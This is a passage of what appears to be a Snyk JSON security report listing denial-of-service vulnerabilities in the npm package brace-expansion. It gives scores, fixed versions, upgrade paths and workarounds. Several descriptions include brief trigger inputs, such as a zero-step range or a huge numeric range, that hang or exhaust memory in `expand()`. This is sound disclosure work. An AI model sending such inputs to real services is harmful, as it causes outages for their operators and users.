[CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": 